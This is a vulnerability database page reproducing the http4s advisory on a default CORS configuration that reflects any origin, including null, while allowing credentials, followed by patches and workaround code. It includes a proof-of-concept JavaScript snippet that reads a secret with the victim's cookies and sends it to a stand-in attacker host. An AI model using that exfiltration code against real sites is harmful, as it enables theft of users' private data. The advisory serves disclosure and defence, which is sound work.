GHSA-52cf-226f-rhr6

    Dashboard / Vulnerabilities / GHSA-52cf-226f-rhr6

    GHSA-52cf-226f-rhr6

    Published: 2 Sept 2021Last Modified: 8 Jul 2026

    Summary: Default CORS config allows any origin with credentials

    Details: ### Impact #### Origin reflection attack The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com: ```scala val routes: HttpRoutes[F] = HttpRoutes.of { case req if req.pathInfo === "/secret" => Response(Ok).withEntity(password).pure[F] } val app = CORS(routes.orNotFound) ``` The following request is made to our server: ```http GET /secret HTTP/1.1 Host: vulnerable.example.com Origin: https://adversary.example.net Cookie: sessionId=... ``` When the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting. Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin: ```http HTTP/1.1 200 OK Access-Control-Allow-Origin: https://adversary.example.org Access-Control-Allow-Credentials: true Content-Type: text/plain p4ssw0rd ``` A malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user's credentials to `vulnerable.exmaple.org`: ```javascript var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable.example.org/secret',true); req.withCredentials = true; req.send(); function reqListener() { location='//bad-people.example.org/log?key='+this.responseText; }; ``` #### Null origin attack The middleware is also susceptible to a Null Origin Attack. A user agent may send `Origin: null` when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with `Access-Control-Allow-Origin: null`, permitting a similar exfiltration of secrets to the above. ### Patches The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures: ### Migration The `CORS` object exposes a default `CORSPolicy` via `CORS.policy`. This can be configured with various `with*` methods, like any http4s builder. Finally, the `CORSPolicy` may be applied to any `Http`, like any other http4s middleware: ```scala val routes: HttpRoutes[F] = ??? val cors = CORS.policy .withAllowOriginAll .withAllowCredentials(false) .apply(routes) ``` ### Workarounds It is possible to be safe in unpatched versions, but note the following defects exist: * The `anyMethod` flag, enabled by default, accepts methods that cannot be enumerated in the `Access-Control-Allow-Methods` preflight response. * Rejected CORS requests receive a `403` response, when the client should be the enforcement point. The server should just omit all CORS response headers. * Does not send `Vary: Access-Control-Request-Headers` on preflight requests. This may confuse caches. * Does not validate the `Access-Control-Request-Headers` of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations. * Needlessly sends `Vary: Access-Control-Request-Method` on non-preflight requests. This should be harmless in practice. * Needlessly sends `Access-Control-Max-Age` header on non-preflight requests. This should be harmless in practice. * Sends an invalid `Access-Control-Allow-Credentials: false` instead of omitting the header. This should be harmless in practice. #### Explicit origins In versions before the patch, set `anyOrigin` to `false`, and then specifically include trusted origins in `allowedOrigins`. ##### 0.21.x ```scala val routes: HttpRoutes[F] = ??? val config = CORS.DefaultConfig.copy( anyOrigin = false, allowOrigins = Set("http://trusted.example.com") ) val cors = CORS(routes, config) ``` ###### 0.22.x, 0.23.x, 1.x ```scala val routes: HttpRoutes[F] = ??? val config = CORSConfig.default .withAnyOrigin(false) .withAllowedOrigins(Set("http://trusted.example.com")) val cors = CORS(routes, config) ``` #### Disable credentials Alternatively, sharing responses tainted by credentials can be deprecated. ##### 0.21.x ```scala val routes: HttpRoutes[F] = ??? val config = CORS.DefaultConfig.copy(allowCredentials = false) val cors = CORS(routes, config) ``` ##### 0.22.x, 0.23.x, 1.x ```scala val routes: HttpRoutes[F] = ??? val config = CORSConfig.default.withAllowedCredentials(false) val cors = CORS(routes, config) ``` ### References * The [MDN guide to CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) * [PayloadsAllTheThings CORS misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/6cba7ceda93c3f64559c3e73881c21076536e5fb/CORS%20Misconfiguration/README.md) ### For more information If you have any questions or comments about this advisory: * Open an issue in [GitHub](http://github.com/http4s/http4s) * Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)

    Affected packages

    Package

    Name: org.http4s:http4s-server_2.13.0-M5

    Purl: pkg:maven/org.http4s/http4s-server_2.13.0-M5

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0
    Fixed -None

    Affected versions

    0.20.0
    0.20.0-RC1
    0.20.1
    0.20.10
    0.20.2
    0.20.3
    0.20.4
    0.20.5
    0.20.6
    0.20.7
    0.20.8
    0.20.9

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-52cf-226f-rhr6 | CVE-DB